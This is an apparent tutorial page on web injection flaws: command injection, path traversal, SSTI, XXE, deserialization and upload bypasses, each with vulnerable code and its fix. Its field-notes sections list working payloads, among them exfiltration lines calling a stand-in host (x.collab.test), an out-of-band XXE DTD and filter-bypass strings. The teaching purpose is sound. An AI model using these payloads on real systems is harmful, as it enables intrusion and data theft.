~/learn / web-vulnerabilities / injection-and-files

Command Injection, Path Traversal, and Other Flaws

The rest of the injection family, OS command injection, path traversal, template injection, XXE, insecure deserialization, and unsafe uploads, each with the parser-level root cause, a worked example, and the fix that removes the channel rather than filtering it.

intermediateupdated

These vulnerabilities look different on the surface, but they are one mistake wearing different clothes: untrusted input reaches something powerful (a shell, the filesystem, a template engine, an XML parser, an object deserializer) with no boundary that separates data from instructions. Every fix below works the same way in spirit as a parameterized query. It removes the channel through which input could ever be read as code, rather than trying to recognize bad input.

OS command injection

A shell is an interpreter. When you build a command string and hand it to /bin/sh -c, the shell re-parses it, and shell metacharacters (;, |, &, $(), backticks, newlines) become operators.

# Vulnerable: the hostname is parsed by the shell
host = request.args["host"]
subprocess.run(f"ping -c 1 {host}", shell=True)
# host = "8.8.8.8; cat /etc/passwd" runs two commands

The fix is to not involve a shell at all. Pass an argument vector so the OS executes the binary directly, with each element delivered as one literal argument that no parser splits.

# Safe: no shell, host is a single argument no matter its contents
subprocess.run(["ping", "-c", "1", host])

This is the whole fix. shell=True is the bug; an argument list is the cure. Escaping shell metacharacters yourself is the losing game again, because quoting rules differ across shells and an argument that begins with - can still be read as a flag (argument injection), so also separate options from operands with -- where the program supports it. If you genuinely need shell features, you have usually chosen the wrong tool.

Path traversal

A path is parsed by the filesystem, and .. means parent. If user input becomes part of a file path, ../../../../etc/passwd climbs out of the intended directory.

# Vulnerable: filename joins straight onto a base path
open(os.path.join("/var/app/uploads", request.args["name"]))

Blocklisting .. fails against encodings (%2e%2e%2f), double encoding (%252e), backslashes on Windows, overlong UTF-8, and null bytes in older runtimes. The robust fix is to resolve the final real path and confirm it still sits inside the intended directory, because that check survives every encoding trick at once.

base = os.path.realpath("/var/app/uploads")
target = os.path.realpath(os.path.join(base, request.args["name"]))
if not target.startswith(base + os.sep):
    abort(400)

Better still, never let the user name the file. Store uploads under server-generated identifiers and keep the user-facing name in a database column, so the filesystem never sees attacker input.

Server-side template injection (SSTI)

Template engines evaluate expressions. If user input is concatenated into the template source rather than passed as a value, the engine evaluates it, and in many engines that reaches arbitrary code.

# Vulnerable: user input becomes template source
Template("Hello " + request.args["name"]).render()
# name = "{{7*7}}" renders "Hello 49", which proves evaluation,
# and from there the object model often reaches os.system

The fix is the boundary: pass user data as a context variable, never build the template from it.

# Safe: the template is fixed, the name is data
Template("Hello {{ name }}").render(name=request.args["name"])

The {{7*7}} to 49 probe is the universal tell that distinguishes SSTI from reflected XSS, and which engine renders which arithmetic tells a tester which object model they are in.

XML external entities (XXE)

XML can define entities, and a legacy feature lets an entity load an external resource. A parser with that feature on will fetch files and URLs named in the document.

<?xml version="1.0"?>
<!DOCTYPE data [ <!ENTITY secret SYSTEM "file:///etc/passwd"> ]>
<data>&secret;</data>

The parser substitutes the file’s contents into &secret;. Point the entity at an internal URL instead and XXE becomes SSRF; blind variants exfiltrate over DNS or HTTP. The fix is to disable DOCTYPE and external entity resolution in the parser configuration, which most modern libraries now do by default. Do not accept raw XML at all if JSON will do.

Insecure deserialization

Serialization formats that can encode arbitrary object types (Java serialization, Python pickle, Ruby Marshal, PHP unserialize, .NET BinaryFormatter) will instantiate whatever the bytes describe. Attackers craft a byte stream that, while being reconstructed, triggers a chain of existing methods (a gadget chain) ending in code execution. The data never had to look malicious; the act of rebuilding it is the exploit.

# Vulnerable: pickle reconstructs arbitrary objects and runs their hooks
data = pickle.loads(request.get_data())

The fix is to never deserialize untrusted input with these formats. Use a data-only format (JSON, with a schema) that describes values, not typed objects. If you must use a rich format, sign the payload with a secret and verify the signature before touching the bytes, so an attacker cannot author one.

Unsafe file uploads

An upload is dangerous when the file can later be executed or served as active content.

  • Execution: a .php or .jsp uploaded into a directory the web server will execute turns an upload into a web shell. Store uploads outside the web root, or in object storage, and serve them through a handler that never executes them.
  • Content-type confusion: the browser may sniff an uploaded file as HTML and run its script on your origin. Serve user content from a separate domain, set Content-Type explicitly, and add X-Content-Type-Options: nosniff.
  • Trusting the client: the declared Content-Type and extension are attacker-controlled. Validate by decoding the file (actually parse the image), not by trusting the name, and generate a new name and extension server-side.
  • Decompression and image bombs: a tiny archive or image can expand to exhaust memory or disk. Cap sizes and decompressed sizes.

The common thread

Every item here has the same two-part shape: an interpreter that will happily execute instructions, and a code path that feeds it a mix of your instructions and the user’s data in one undifferentiated blob. The reliable fix is never a cleverer filter. It is a structural separation (argument vectors, bound template variables, parsers with dangerous features off, data-only serialization, server-named files) that makes it impossible for input to cross into the instruction channel.

Field notes: command injection in the wild

You rarely get clean command output. You confirm injection with a side effect you can observe. Separators chain a second command onto the first:

; id        &&  id        ||  id        | id        `id`        $(id)        %0a id

When output is not reflected (blind command injection), prove it with time or network:

; sleep 5                         # timing oracle
; curl http://x.collab.test/$(whoami)   # OOB, hostname carries the data
; nslookup `whoami`.x.collab.test       # DNS exfil when HTTP egress is blocked

Argument injection is the subtler cousin: even without a shell, if your input becomes an argument to a known binary you can often abuse its flags. Input passed to curl accepts -o/--output to write files; input to tar, ffmpeg, ImageMagick, or find -exec each have documented param-injection-to-RCE paths. Look for shell=True, system(), exec, backticks, and Open3 with interpolated input.

Field notes: SSTI, from {{7*7}} to RCE

Server-side template injection is found with a math probe and identified by which syntax renders:

{{7*7}}      -> 49   means Jinja2 (Python), Twig (PHP), or similar
${7*7}       -> 49   means Java EL, Thymeleaf, Freemarker
#{7*7}       -> 49   means Ruby ERB-ish / some engines
<%= 7*7 %>   -> 49   means ERB (Ruby)
{{7*'7'}}    -> 7777777 (Jinja) vs 49 (Twig)   disambiguates the two

Once you know the engine you climb from expression to code execution through its object model, for example Jinja2’s {{''.__class__.__mro__[1].__subclasses__()}} to reach subprocess.Popen, or Freemarker’s freemarker.template.utility.Execute. tplmap automates detection and exploitation across a dozen engines. The root cause is always the same: user input reached the template source, not the template data.

Field notes: path traversal and XXE tricks

Path traversal defenses fall to encoding and to the fact that many stacks decode more than once:

..%2f..%2f..%2fetc/passwd        single URL-encode
..%252f..%252f                   double-encode (defeats one decode layer)
....//....//                     the "strip once" bypass: nested so removal re-forms ../
%c0%ae%c0%ae/                    overlong UTF-8 for ..  (legacy parsers)
/etc/passwd%00.png               null byte to defeat an extension suffix (old runtimes)

For XXE, the high-value moves are out-of-band and blind. When the parser does not echo entities back, host an external DTD that exfiltrates a file through a parameter entity into a URL you control:

<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY &#x25; exfil SYSTEM 'http://x.collab.test/?d=%file;'>">
%eval; %exfil;

Even a parser with external general entities disabled is often still vulnerable through parameter entities or through SVG/Office/XML file uploads, which are XML under the hood.

Field notes: deserialization and upload bypasses

Insecure deserialization is a code-execution bug when the format carries types. You do not craft gadget chains by hand, you generate them: ysoserial for Java (CommonsCollections, URLDNS to just prove reachability via a DNS hit), ysoserial.net for .NET, and known pickle/__reduce__ payloads for Python, Marshal/Oj for Ruby. Recognize the formats on sight: Java is AC ED 00 05 or base64 rO0, PHP serialized is O:8:"stdClass"..., .NET AAEAAAD.

For upload filters, the reliable bypasses are double extensions (shell.php.jpg where Apache runs the first known handler), case (.pHP, .phtml, .php5), a valid magic header glued to code (GIF89a;<?php ...), content-type spoofing, and path traversal in the filename to escape the upload directory. The durable fix is to store uploads off the web root, rename to a random identifier, and serve through a handler that never executes them.

Code review checklist

  • Flag every shell=True, os.system, backtick exec, and string-built command. Require argument vectors.
  • Flag every file path built from input. Require a realpath containment check or server-generated names.
  • Flag templates constructed from input, as opposed to rendered with input as context.
  • Confirm every XML parser disables DOCTYPE and external entities.
  • Flag pickle.loads, Marshal.load, unserialize, and readObject on request data. These should not exist on untrusted input.
  • Confirm uploads are stored outside the web root, renamed, size-capped, content-validated, and served with nosniff.

PortSwigger’s labs cover command injection, path traversal, SSTI, XXE, deserialization, and upload flaws individually, each against a legal target so you can watch the boundary break and then watch the fix hold.